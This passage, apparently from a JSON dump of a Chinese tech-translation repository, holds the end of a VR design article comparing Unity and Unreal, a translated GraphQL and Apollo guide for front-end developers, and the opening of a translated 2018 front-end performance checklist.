SMART TV, 以及 Xbox One 和 Xbox 360, PS4, Playstation Vita 和 Wii U_。\n\nUnity 支持所有主流的 3D 格式而且支持创作 2D 游戏需要的最好的格式。内置的 3D 编辑器并不强大，但是有很棒的插件可以进行增强。软件本身需要授权，但是在某种程度上可以使用免费版本制作一些东西的。具体细节可以看 Unity 的[价格说明](http://unity3d.com/get-unity)。Unity 是最流行的游戏引擎，市场占有率高达 47%。\n\n![](https://cdn-images-1.medium.com/max/1200/1*-wg4HHoxsiwY_qJQyJg8xw.png)\n\n**Unreal Engine**\n\nUnreal 是 Unity3D 的直接竞争者。Unreal 同样有着出色的[文档](https://docs.unrealengine.com/latest/INT/)和[视频教程](https://wiki.unrealengine.com/Videos)。不过在线商店规模较小，毕竟是一个新兴引擎。\n\nUnreal 之于其他竞争对手的一大优势是图形能力；Unreal 在几乎每个领域都更进一步：地形，粒子，后期处理效果，光影和着色器。所有这一切看上去都非常出色。\n\nUnreal 引擎 4 使用 C++ 并内置视觉脚本编辑器 [Blueprint](https://www.unrealengine.com/blog/animation-blueprints)。\n\n我没有怎么用过 Unreal，所以不能做更细节的介绍。\n\nUnreal 的跨平台支持不如 Unity，支持的平台有：_Windows PC, Mac OS X, iOS, Android, VR, Linux, SteamOS, HTML5, Xbox One 和 PS4._\n\n![](https://cdn-images-1.medium.com/max/1200/1*5Ny7-MsDrtL83zdsvE5QGQ.png)\n\n* * *\n\n#### 结语\n\n虚拟现实是新兴的媒介。作为先驱者，我们要学习探索的东西仍有很多。这正是我对此感到激动并加入谷歌虚拟现实团队的原因。我们有机会去探索并应该去探索并竭尽所能。理解，认同，构建然后迭代。一遍又一遍。\n\n不断重复这个循环。\n\n![](https://cdn-images-1.medium.com/max/800/1*VJbKu4_pDXrTONwLA4JpPg.png)\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*yIMdhFHxaoLOBcNLoovrRg.png)\n\n#### 资源\n\n视频\n\n*   [Google I/O 2015 — Designing for Virtual Reality](https://youtu.be/Qwh1LBzz3AU)\n*   [Oculus Connect keynotes](http://www.twitch.tv/oculus)\n*   [VR Design: Transitioning from a 2D to 3D Design Paradigm](https://youtu.be/XjnHr_6WSqo)\n*   [VR Interface Design Pre-Visualisation Methods](https://youtu.be/id86HeV-Vb8)\n*   [2014 Oculus Connect — Introduction to Audio in VR](https://youtu.be/X6wSEMh8nR8)\n\n教程\n\n*   [Cinema 4D tutorials](http://greyscalegorilla.com/tutorials/)\n*   [Unity 3D tutorials](https://unity3d.com/learn/tutorials/modules)\n*   [Maya and 3D tools tutorials](http://www.digitaltutors.com/)\n\n文章\n\n*   [LeapMotion — VR Best Practices Guidelines](https://developer.leapmotion.com/assets/Leap%20Motion%20VR%20Best%20Practices%20Guidelines.pdf)\n*   [The fundamentals of user experience in virtual reality](http://www.blockinterval.com/project-updates/2015/10/15/user-experience-in-virtual-reality)\n*   [Ready for UX in 3D?](http://www.blockinterval.com/project-updates/2015/10/27/ux-moves-to-3d)\n\n* * *\n\n_感谢所有阅读全文并提出改进意见的人。_\n\n"
  },
  {
    "path": "TODO/front-end-developers-guide-graphql.md",
    "content": "> * 原文地址：[A Front End Developer’s Guide to GraphQL](https://css-tricks.com/front-end-developers-guide-graphql/)\n> * 原文作者：[PEGGY RAYZIS](https://css-tricks.com/author/peggyrayzis/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/front-end-developers-guide-graphql.md](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-developers-guide-graphql.md)\n> * 译者：[ellcyyang](https://github.com/ellcyyang)\n> * 校对者：[Xekin-FE](https://github.com/Xekin-FE), [xueshuai](https://github.com/xueshuai)\n\n# 写给前端开发者的 GraphQL 指南\n\n不管你的应用是复杂还是简单，你总是要从远程服务器获取数据。在前端，这意味着和某个端点进行 REST 连接、转化并缓存服务器应答以及重新渲染 UI。多年以来，REST 是 API 的标配，但是在过去的一年内，一种名为 GraphQL 的新 API 技术凭借它优秀的开发体验和叙述性数据获取方式开始流行起来。\n\n在这篇文章中我们将会通过一系列实例来说明 GraphQL 会如何帮助你解决获取远程数据的痛点。如果你是个 GraphQL 新手，也不用害怕！我会列举一些学习资源来帮助你使用 Apollo 栈学习 GraphQL，然后你就能领先别人一步掌握它。\n\n### GraphQL 101\n\n在我们弄明白为什么 GraphQL 可以让前端工程师更轻松之前，我们需要先搞清楚它是什么。当我们说起 GraphQL，我们要么是指这种语言本身，要么是指与它相关的一整套丰富的工具生态系统。就其核心而言，GraphQL 是 Facebook 开发的一种类型化的查询语言，让你能够以一种叙述性的方式表达你对数据的需求。你的查询结果的格式应该和你的查询语句相匹配。在下面这个例子里，我们期待得到一个有 `currency` 和 `rates` 属性的对象，其中 `rates` 又是包含了 `currency` 和 `rate` 关键字的对象的数组。\n\n```\n{\n  rates(currency: \"USD\") {\n    currency\n    rates {\n      currency\n      rate\n    }\n  }\n}\n```\n\n当我们讨论广义上的 GraphQL 时，我们主要指的是由帮助部署 GraphQL 到应用中的一些工具所组成的生态系统。在后端，你将使用 [Apollo 服务器](https://www.apollographql.com/docs/apollo-server/) 来创建一个 GraphQL 服务器 —— 一个解析 GraphQL 请求并返回数据的端点。服务器怎么知道应该返回哪些数据呢？你需要使用 [GraphQL 工具](https://www.apollographql.com/docs/graphql-tools/) 来创建一个字典（你的数据蓝图）和一个分解映射（用于从一个 REST 端点、数据库或别的什么中检索数据的一系列函数）。\n\n但它实际上比听起来要简单 —— 通过 Apollo 启动台（一个 GraphQL 服务器控制台），你可以用不超过60行代码在浏览器里创建一个可运行的 GraphQL 服务器！ 😮 我们参考了这个 [我创建的启动台](https://launchpad.graphql.com/v7mnw3m03) ，其中包含了文章中所提到的 Coinbase API。\n\n你将会使用 [Apollo 客户端](https://www.apollographql.com/docs/react/) 连接你自己的 GraphQL 服务器和应用，它是一个为你获取、缓存和更新数据的灵活快速的客户端。鉴于 Apollo 客户端并没有和视觉层相耦合，你可以用 React、Angular、Vue 甚至原生 JavaScript 编写。除了跨框架之外，Apollo 也可以跨平台，它支持 React Native 和 Ionic。\n\n### 试一试！🚀\n\n现在你已经掌握到底什么是 GraphQL 了，动手尝试用几个实例把 Apollo 应用到你的前端工作中去吧。我相信你最终会认可这一点 —— 一个使用了 Apollo 的基于 GraphQL 的架构将会帮助你更快地传送数据。\n\n#### 1. 添加新的数据需求但不添加新端点\n\n我们都遇到过这种情况：花费几个小时创建了一个完美的 UI 组件，然后产品需求突然改变了。你突然意识到，为了获得实现新需求所需的数据，你将不得不实现一个接收 API 请求的复杂瀑布模型 —— 或者更糟 —— 一个新的 REST 端点。然后你的工作阻塞了，你不得不要求后端为这个组件再添加一个新端点。\n\n这种常见问题在 GraphQL 中不再出现，因为你在客户端需求的数据不再和某个端点的资源相耦合。相反，你发向 GraphQL 服务器的请求总是连上同一个端点。你的服务器通过你发送的字典指定所有的可用资源，让你的查询定义你所得到的结果的格式。让我们在 [我的启动台](https://launchpad.graphql.com/v7mnw3m03) 中用之前的例子说明这些概念：\n\n在我们的字典里的第22～26行，我们定义了 `ExchangeRate` 类型。这些字段列举出了所有在我们的应用中可查询的资源。\n\n```\ntype ExchangeRate {\n  currency: String\n  rate: String\n  name: String\n}\n```\n\n在 REST 中，我们受限于数据源所能提供的数据。如果你的 `/exchange-rates` 端点不包含 name，你必须连接一个新的端点比如 `/currency` 来得到数据或者在数据不存在的情况下创建它。\n\n有了 GraphQL，我们可以检查字典，从而了解到 name 字段是可查询的。尝试在启动台右侧面板中添加name字段，然后运行。\n\n```\n{\n  rates(currency: \"USD\") {\n    currency\n    rates {\n      currency\n      rate\n      name\n    }\n  }\n}\n```\n\n现在，把 name 字段删掉再重新执行查询。看到了你的查询结果的格式变化了吗？\n\n![当你改变了你的查询的叙述方式，数据也随之改变。](https://cdn.css-tricks.com/wp-content/uploads/2017/12/shape-data.jpg)\n\n你的 GraphQL 服务器总是忠实地返回你所要求的数据，不会多给。这和 REST 有很大不同 —— 在 REST 里你必须把数据过滤和转化成你的 UI 组件所需要的样子。这不仅仅节约了时间，而且还减少了加载和解析数据所需的网络负荷和 CPU 存储空间。\n\n#### 2. 压缩你的状态管理模版\n\n一般来说，获取数据包含了更新你的应用的状态。你通常需要编写代码来追踪至少三个行为：数据何时被加载、数据是否成功抵达、数据是否发生错误。一旦数据抵达，你必须把它转化为你的 UI 组件所期望的样子，对它进行标准化，缓存它，然后更新页面。 这个过程是重复性的，需要无数行模版代码来处理一个请求。\n\n让我们来看看在这个例子中 [一个 React 应用例子沙盒](https://codesandbox.io/s/jvlrl98xw3) Apollo 客户端是如何消灭这个无趣的过程的。 查看 `list.js` 并把滚动条拖到底部。\n\n```\nexport default graphql(ExchangeRateQuery, {\n  props: ({ data }) => {\n    if (data.loading) {\n      return { loading: data.loading };\n    }\n    if (data.error) {\n      return { error: data.error };\n    }\n    return {\n      loading: false,\n      rates: data.rates.rates\n    };\n  }\n})(ExchangeRateList);\n```\n\n在这个例子里，[React Apollo](https://www.apollographql.com/docs/react/basics/integrations.html)，Apollo 客户端的 React 集成，把我们的汇率查询关联到 ExchangeRateList 组件。一旦 Apollo 客户端处理了那个查询， 它自动追踪加载和错误状态并把它放入 `data` prop 中去。当 Apollo 客户端收到结果，它会根据查询结果更新 `data` prop，然后按照在渲染中需要用到的汇率更新 UI。 \n\nApollo 客户端在底层为你完成了数据格式化和缓存工作。 尝试在右侧面板单击不同种类的货币看数据刷新。现在，再一次选择某个货币，看到数据如何立刻出现了吗？这是 Apollo 缓存在工作。不需要额外设置你就能免费从 Apollo 客户端获得这些。 😍 打开 `index.js` 来看我们初始化 Apollo 客户端的代码。\n\n#### 3. 使用 Apollo DevTools 和 GraphiQL 快速进行调试\n\n看起来 Apollo 客户端已经为你做了很多工作！我们该如何偷看一下它的内部来了解它是如何运行的呢？有了存储检查和查询与转变过程的完全可见化，Apollo DevTools 不但能回答这些疑问，还能让调试过程不再枯燥甚至变得有趣！ 🎉 这在一个为 Chrome 和 Firefox 提供的插件中可用，很快它也将对 React Native 提供服务。\n\n如果你想要试用一下，按照之前的例子，在你喜欢的浏览器上 [安装 Apollo DevTools](https://github.com/apollographql/apollo-client-devtools)  然后导航到 [our CodeSandbox](https://codesandbox.io/s/jvlrl98xw3)。你需要在顶部导航栏点击“下载”，解压文件，运行 `npm install` 然后 `npm start` 来在本地运行这个例子。一旦你打开了浏览器的开发工具面板，你应该看到一个叫 Apollo 的标签页。\n\n首先，我们来检查下存储检查器。这个标签页反映了 Apollo Client 缓存中的状态，让你更容易确定你的数据是不是正确地被存储在客户端了。\n\n![存储检查器](https://cdn.css-tricks.com/wp-content/uploads/2017/12/1_WjEM653oIZUw4wQyjCqPkA.png)\n\nApollo DevTools 让你也可以在 GraphiQL 中测试你的查询和变更，它是一个交互式的查询编辑器和文档浏览器。事实上，我们在第一个例子中尝试添加字段时已经使用了 GraphiQL。为了方便回顾，当你在将查询输入编辑器时，GraphiQL 将会自动补全，并且自动生成基于 GraphQL 类型系统的文档。这对于拓展字典来说极为有用，不会给开发者带来任何维护成本。\n\n![Apollo Devtools](https://cdn.css-tricks.com/wp-content/uploads/2017/12/1_s9Bl8jejFH2TAlZk2knFBQ.png)\n\n尝试在 [我的启动台](https://launchpad.graphql.com/v7mnw3m03) 中右侧面板的 GraphiQL 中执行查询！鼠标停在查询编辑器的字段上，并单击提示框来打开文档浏览器。如果你的查询能在 GraphiQL 里成功运行，那你就可以100%肯定这条查询也可以在你的应用中成功运行。\n\n### 升级你的 GraphQL 技能\n\n好样的，你已经看到这儿了！ 👏 希望你喜欢这些例子，并且开始了解应该如何在前端使用 GraphQL 了。\n\n想要了解更多？ 🌮 把 “继续学习 GraphQL” 列入你的2018新年计划吧！因为我希望它在新的一年里能够更加流行。下面是教你如何活用新学到的概念的应用实例：\n\n* React: [https://codesandbox.io/s/jvlrl98xw3](https://codesandbox.io/s/jvlrl98xw3)\n* Angular (Ionic): [https://github.com/aaronksaunders/ionicLaunchpadApp](https://github.com/aaronksaunders/ionicLaunchpadApp)\n* Vue: [https://codesandbox.io/s/3vm8vq6kwq](https://codesandbox.io/s/3vm8vq6kwq)\n\n继续使用 GraphQL 吧（记得关注我们的 Twitter [@apollographql](https://twitter.com/apollographql)）！ 🚀\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/front-end-performance-checklist-2018-1.md",
    "content": "> * 原文地址：[Front-End Performance Checklist 2018 - Part 1](https://www.smashingmagazine.com/2018/01/front-end-performance-checklist-2018-pdf-pages/)\n> * 原文作者：[Vitaly Friedman](https://www.smashingmagazine.com/author/vitaly-friedman)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-1.md)\n> * 译者：[tvChan](https://github.com/tvChan)\n> * 校对者：[mysterytony](https://github.com/mysterytony) [ryouaki](https://github.com/ryouaki)\n\n# 2018 前端性能优化清单 —— 第一部分\n\n下面你将会看到你可能需要考虑到的前端性能优化问题，以保证你的应用具有快速和流畅的响应时间。\n\n- [2018 前端性能优化清单 —— 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-1.md)\n- [2018 前端性能优化清单 —— 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-2.md)\n- [2018 前端性能优化清单 —— 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-3.md)\n- [2018 前端性能优化清单 —— 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-4.md)\n\n***\n\n### 做好准备：计划和指标\n\n微小的优化对于保持性能来说都是很重要的，但是在头脑中明确的定义 —— **可衡量**的目标才是至关重要的。这将会影响你整个过程中做出的任何决定。有几种不同的模型，下面讨论的模型都很有自己的主见 —— 只要确保在一开始能设定自己的优先级就行。\n\n1. **建立性能指标。**\n\n在许多组织里，前端开发人员确切的知道常见的潜在问题是什么，并且知道使用什么加载模块来修复它们。然而，只要开发/设计和营销团队之间没有一致性，性能就不能长期维持。研究客户服务中的常见投诉，了解如何提高性能，可以帮助解决这些常见问题。\n\n在移动和桌面设备上运行性能实验和测量结果。它将帮助你的公司量身定做一个根据真实数据而得到的研究案例。此外，利用 [WPO 统计](https://wpostats.com/) 数据对案例进行研究和实验，可以帮助提高业务对性能问题的敏感度，以及它对用户体验和业务指标的影响。仅仅说明性能问题是远远不够的 —— 你也需要建立一些可衡量和可跟踪的目标并对它们进行观察。\n\n2. **目标：至少要比你最快的竞争对手还快 20%。**\n\n根据[心理学的研究](https://www.smashingmagazine.com/2015/09/why-performance-matters-the-perception-of-time/#the-need-for-performance-optimization-the-20-rule)，如果你想让用户感觉你的网站比竞争对手的快，你**至少**需要比它们快 20%。 研究你的主要竞争对手，收集它们是怎么在手机和桌面设备上展示的数据，并且设置阈值来帮助你超过它们。要获取准确的结果和目标，首先要研究你的分析结果，看看你的用户都在做什么。然后，你可以模拟第百分之九十位的实验进行测试。收集数据，创建一个 [电子数据表](http://danielmall.com/articles/how-to-make-a-performance-budget/)，从中剔除 20%, 并制定你的目标（即 [性能预算](http://bradfrost.com/blog/post/performance-budget-builder/)）。现在你就有一些可以测试的东西了。\n\n如果你希望保持现在的成本不变，并尽可能的少写一些脚本，就能有一个快速的可交互时间。那么你已经走在正确的道路上了。劳拉.霍根的[指导你如何用性能预算接近设计](http://designingforperformance.com/weighing-aesthetics-and-performance/#approach-new-designs-with-a-performance-budget) 里提供了有用的方向，设计人员，[性能预算计算者](http://www.performancebudget.io/)和 [Browser Calories](https://browserdiet.com/calories/) 可以帮助我们创建预算（感谢 [Karolina Szczur](https://medium.com/@fox/talk-the-state-of-the-web-3e12f8e413b3) 的牵头）。\n\n![](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_2000/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/231e97c1-4bfa-4dff-85a7-93e0a16b2690/performance-budget-lbp9l7-c-scalew-862-opt.png)\n\n除了性能预算之外，还要考虑对你的业务最有利的关键客户任务。设置和讨论可接受的**关键行为的时间阈值**，并建立整个项目组都已经同意的 ＂UX 就绪＂的用户计时标记。在许多情况下，用户的需求将会影响到许多不同部门的工作。因此, 在可接受的时间内进行调整，将有助于支持或避免了在优化路上的性能讨论。确保增加资源和功能的额外成本是可预见和可理解的。\n\n此外, 正如 Patrick Meenan 建议的，在设计过程中**制定一个加载顺序及其权衡**是非常值得。如果你在早期优先考虑哪些部分更重要，并且定义了它们应该出现的顺序，那么你也将知道哪些部分可以延迟。在理想情况下，该顺序还将反映 CSS 和 JavaScript 的导入顺序。因此，在构建过程中处理它们会更容易。此外，在加载页面时，请考虑在\"中间\"状态下的视觉体验 (例如，web 字体尚未加载时)。\n\n计划，计划，计划。在早期的优化里，它可能像是诱人的＂熟水果＂ —— 最终它可能是一个很好的能快速取胜的策略 —— 但是，如果没有计划和切合实际的、为公司量身定制的性能目标，就很难将性能放在首位。\n\n3. **选择正确的指标。**\n\n[并不是所有的指标都同样重要](https://speedcurve.com/blog/rendering-metrics/)。研究哪些标准对你的应用程序最重要：通常它与你开始渲染那些**最重要的**像素点（以及它们是什么）有多快和如何快速地为这些渲染的像素点提供输入响应有关。这可以帮助你为后续的工作提供最佳的优化结果。不管怎样，不要专注于整个页面的加载时间（例如，通过 **onLoad** 和 **DOMContentLoaded** 计时），而是优先加载用户认为重要的页面。这意味着要专注于一组稍有不同的指标。事实上，选择正确的指标是一个没有对手的过程。\n\n<figure class=\"video-container break-out\"><iframe src=\"https://player.vimeo.com/video/249524245\" width=\"640\" height=\"358\" frameborder=\"0\" webkitallowfullscreen=\"\" mozallowfullscreen=\"\" allowfullscreen=\"\"></iframe>\n\n首次有内容渲染，首次有效渲染，视觉完整和可交互时间之间的区别。[大图](https://docs.google.com/presentation/d/1D4foHkE0VQdhcA5_hiesl8JhEGeTDRrQR4gipfJ8z7Y/present?slide=id.g21f3ab9dd6_0_33)。来自于：[@denar90](https://docs.google.com/presentation/d/1D4foHkE0VQdhcA5_hiesl8JhEGeTDRrQR4gipfJ8z7Y/present?slide=id.g21f3ab9dd6_0_33)\n\n下面是一些值得考虑的指标：\n\n* **首次有效渲染**（FMP，是指主要内容出现在页面上所需的时间），\n* **[英雄渲染时间](https://speedcurve.com/blog/web-performance-monitoring-hero-times/)**（页面最重要部分渲染完成所需的时间），\n* **可交互时间**（TTI，是指页面布局已经稳定，关键的页面字体已经可见，主进程可以足够的处理用户的输入 —— 基本的时间标记是，用户可以在 UI 上进行点击和交互），\n* **输入响应**，接口响应用户操作所需的时间，\n* **速度指标**，测量填充页面内容的速度。 分数越低越好，\n* 你的[自定义指标](https://speedcurve.com/blog/user-timing-and-custom-metrics/)，由你的业务需求和客户体验来决定。\n\nSteve Souders 对[每个指标都进行了详细的解释](https://speedcurve.com/blog/rendering-metrics/)。在许多情况下，根据你的应用程序的上下文，[可交互时间和输入响应](https://medium.com/netflix-techblog/crafting-a-high-performance-tv-user-interface-using-react-3350e5a6ad3b)会是最关键的。但这些指标可能会不同：例如，对于 Netflix 电视的用户界面来说，关键输入响应、内存使用和可交互时间更为重要。\n\n4. **从具有代表性的观众的设备上收集数据。**\n\n为了收集准确的数据，我们需要彻底的选择要测试的设备。也许在一个[开放式的实验室](https://www.smashingmagazine.com/2016/11/worlds-best-open-device-labs/)里，Moto G4 是一个很好的选择，它是一款中档的三星设备又或者是一个普通的设备，如 Nexus 5X。如果你手边没有设备，可以在节流网络（例如，150 ms 的往返时延，1.5 Mbps 以下，0.7 Mbps 以上）上使用节流 CPU（5× 减速）实现在桌面设备上模拟移动设备的体验。最终，切换到常规的 3G，4G 和 wi-fi。为了使性能体验的影响更明显，你甚至可以在你的办公室里引入 [2G Tuesdays 计划](https://www.theverge.com/2015/10/28/9625062/facebook-2g-tuesdays-slow-internet-developing-world)或者设置[一个节流的 3G 网络](https://twitter.com/thommaskelly/status/938127039403610112)，以便进行更快的测试。\n\n[![Introducing the slowest day of the week](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/dfe1a4ec-2088-4e39-8a39-9f2010380a53/tuesday-2g-opt.png)](https://www.theverge.com/2015/10/28/9625062/facebook-2g-tuesdays-slow-internet-developing-world)\n\n引入一周中最慢的一天。Facebook推出了[周二 2G 计划](https://www.theverge.com/2015/10/28/9625062/facebook-2g-tuesdays-slow-internet-developing-world)，以提高对低速连接的能见度和灵敏度。（[图片来源](http://www.businessinsider.com/facebook-2g-tuesdays-to-slow-employee-internet-speeds-down-2015-10?IR=T)）\n\n幸运地是，有许多很好的选项可以帮助你自动的收集数据，并根据这些指标来衡量在一段时间内你的网站的运行情况。请记住，良好的性能指标是被动和主动监测工具的组合：\n\n* **被动监测工具**，是那些模拟用户交互请求（**综合测试**，如**Lighthouse**，**WebPageTest**）和\n* 那些不断记录和评价用户交互行为的**主动监测工具**（**真正的用户监控**，如 **SpeedCurve**，**New Relic**  ——   这两种工具也提供综合测试）\n\n前者是在开发过程中特别有用，因为它能帮助你在产品开发过程中持续跟踪。后者对于长期维护很有用，因为它能帮助你了解用户在实际访问站点时的性能瓶颈。利用内置的 RUM API，如导航计时，资源计时，渲染计时，长任务等，被动和主动的性能监测工具可以一起为你的应用程序提供完整的性能视图。例如，你可以使用[PWMetrics](https://github.com/paulirish/pwmetrics)，[Calibre](https://calibreapp.com)，[SpeedCurve](https://speedcurve.com/)，[mPulse](https://www.soasta.com/performance-monitoring/)，[Boomerang](https://github.com/yahoo/boomerang) 和 [Sitespeed.io](https://www-origin.sitespeed.io/)，这些都是性能监测工具的绝佳选择。\n\n**注意**：选择网络级别的节流器（在浏览器外部）总是比较安全的，例如，DevTools 与 HTTP/2 推送的交互问题，是因为它的实现方式。（**感谢 Yoav!**）\n\n[![Lighthouse](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/d829af6f-23ff-432c-9659-bd6f3c13678f/lighthouse-shop-polymer-opt.png)](https://developers.google.com/web/tools/lighthouse/)\n\n[Lighthouse](https://developers.google.com/web/tools/lighthouse/)一个集成在 DevTools 的性能检测工具。\n\n5. **与你的同事分享性能清单。**\n\n为了避免误解，要确保你团队里的每个同事都对清单很熟悉。每个决策都对性能有影响。项目将极大地受益于前端开发人员正确地将性能价值传达给整个团队。这样每个人都会对它负责，而不仅仅是前端开发人员。根据性能预算和核对表中定义的优先级映射设计决策。\n\n[![RAIL](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/c91c910d-e934-4610-9dc5-369ec9071b57/rail-perf-model-opt.png)](https://developers.google.com/web/fundamentals/performance/rail)\n\n[RAIL](https://developers.google.com/web/fundamentals/performance/rail)，以用户为中心的性能模型。\n\n### 制定现实的目标\n\n6. **60 fps，100 毫秒的响应时间。**\n\n为了让交互感觉起来很顺畅，接口有 100ms 来响应用户的输入。任何比它长的时间，用户都会认为该应用程序很慢。[RAIL，一个以用户为中心的性能模型](https://www.smashingmagazine.com/2015/10/rail-user-centric-model-performance/)会为你提供健壮的目标。为了让页面达到小于 100ms 的响应，页面必须要在在每小于 50ms 前将控制返回到主线程。[预计输入延迟时间](https://developers.google.com/web/tools/lighthouse/audits/estimated-input-latency)会告诉我们，如果我们能达到这个门槛，在理想情况下，它应该低于 50ms。对于像动画这样的高压点，最好不要在你能做到的地方做任何事，也不要做你不能做到的事。\n\n同时，每一帧动画应该要在 16 毫秒内完成，从而达到 60 帧每秒（1秒 ÷ 60 = 16.6 毫秒） —— 最好在 10 毫秒。因为浏览器需要时间将新框架绘制到屏幕上，你的代码应该在触发 16.6 毫秒的标志前完成。[保持乐观](https://www.smashingmagazine.com/2016/11/true-lies-of-optimistic-user-interfaces/)和明智地利用空闲时间。显然，这些目标适用于运行时的性能，而不是加载性能。\n\n7. **速度指标小于 1250，在 3G 网络环境下可交互时间小于 5s，重要文件的大小预算小于 170kb。**\n\n虽然这可能很难实现，但首次有效渲染要低于 1 秒和[速度指标](https://sites.google.com/a/webpagetest.org/docs/using-webpagetest/metrics/speed-index)的值低于 1250 将会是一个很好的最终目标。考虑到是一个以 200 美金为基准的 Android 手机（如 Moto G4）在一个缓慢的 3G 网络上，模拟 400ms 的往返延时和 400kb 的传输速度。它的目标是[可交互时间低于 5s](https://www.youtube.com/watch?v=_srJ7eHS3IM&feature=youtu.be&t=6m21s)，并且重复访问的速度低于 2s。\n\n请注意，当谈到**可交互时间**时，最好来区分一下[首次交互和一致性交互](https://calendar.perfplanet.com/2017/time-to-interactive-measuring-more-of-the-user-experience/)以避免对它们之间的误解。前者是在主要内容已经渲染出来后最早出现的点（窗口至少需要 5s，页面才开始响应）。后者是期望页面可以一直进行输入响应的点。\n\nHTML 的前 14~15kb 加载是**是最关键的有效载荷块**  —— 也是第一次往返（这是在400 ms 往返延时下 1秒内所得到的）预算中唯一可以交付的部分。一般来说，为了实现上述目标，我们必须在关键的文件大小内进行操作。[最高预算 170 Kb gzip](https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/) (0.8-1MB decompressed)（0.8-1MB解压缩），它已经占用多达 1s （取决于资源类型）来解析和在普通电话上进行编译。稍微高于这个值是可以的，但是要尽可能地降低这些值。\n\n不过你也可以超出包大小的预算。例如，你可以在浏览器主线程的活动中设置性能预算，即：在开始渲染前的绘制时间或者[跟踪前端 CPU](https://calendar.perfplanet.com/2017/tracking-cpu-with-long-tasks-api/) 。[Calibre](https://calibreapp.com/)，[SpeedCurve](https://speedcurve.com/) 和 [Bundlesize](https://github.com/siddharthkp/bundlesize) 这些工具可以帮助你保持你的预算控制，并集成到你的构建过程。\n\n[![From 'Fast By Default: Modern Loading Best Practices' by Addy Osmani](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/3bb4ab9e-978a-4db0-83c3-57a93d70516d/file-size-budget-fast-default-addy-osmani-opt.png)](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices)\n\n[本来就很快的：现代化加载的最佳实践](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices) 来自 Addy Osmani（幻灯片 19）\n\n### Defining The Environment\n\n8. **选择和设置你的构建工具。**\n\n[不要太在意那些很酷的东西](https://24ways.org/2017/all-that-glisters/)。坚持使用你的构建工具，无论是Grunt，Gulp，Webpack，Parcel，还是工具间的组合。只需要你能快速的得到结果，并且维护你的构建过程保证没问题。那么，你就做的很好了。\n\n9. **渐进式增强。**\n\n将[渐进式增强](https://www.aaron-gustafson.com/notebook/insert-clickbait-headline-about-progressive-enhancement-here/)作为前端结构体系和部署的指导原则是一个安全的选择。首先设计和构建核心经验，然后为有能力的浏览器使用高级特性增强体验，创造[弹性](https://www.aaron-gustafson.com/notebook/insert-clickbait-headline-about-progressive-enhancement-here/)体验。如果你的网站是在一个网络不佳的并且有个糟糕的显示屏上糟糕的浏览器上运行，速度还很快的话，那么，当它运行在一个快速网络下快速的浏览器的机器上，它只会运行得更快。\n\n10. **选择一个强大的性能基准。**\n\n有这么多未知因素影响加载 —— 网络、热保护、缓存回收、第三方脚本、解析器阻塞模式、磁盘的读写、IPC jank、插件安装、CPU、硬件和内存限制、web 字体加载行为 —— [JavaScript 的代价是最大的](https://youtu.be/_srJ7eHS3IM?t=3m2s)，web 字体阻塞渲染往往是默认和图片消耗了大量的内存所导致的。由于性能瓶颈从[服务器端转移到客户端](https://calendar.perfplanet.com/2017/tracking-cpu-with-long-tasks-api/)，作为开发人员，我们必须更详细地考虑所有这些未知因素。\n\n在 170kb 的预算中，已经包括了关键路径的 HTML/CSS/JavaScript、路由器、状态管理、实用程序、框架和应用程序逻辑，我们必须彻底[检查网络传输成本，分析/编译时间和我们选择的框架的运行时的成本](https://www.twitter.com/kristoferbaxter/status/908144931125858304)。\n\n[!['Fast By Default: Modern Loading Best Practices' by Addy Osmani](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/39c247a9-223f-4a6c-ae3d-db54a696ffcb/tti-budget-opt.png)](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices)\n\n本来就很快的：[现代化加载的最佳实践](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices)来自 Addy Osmani(幻灯片18、19)。\n\n正如 Seb Markbage 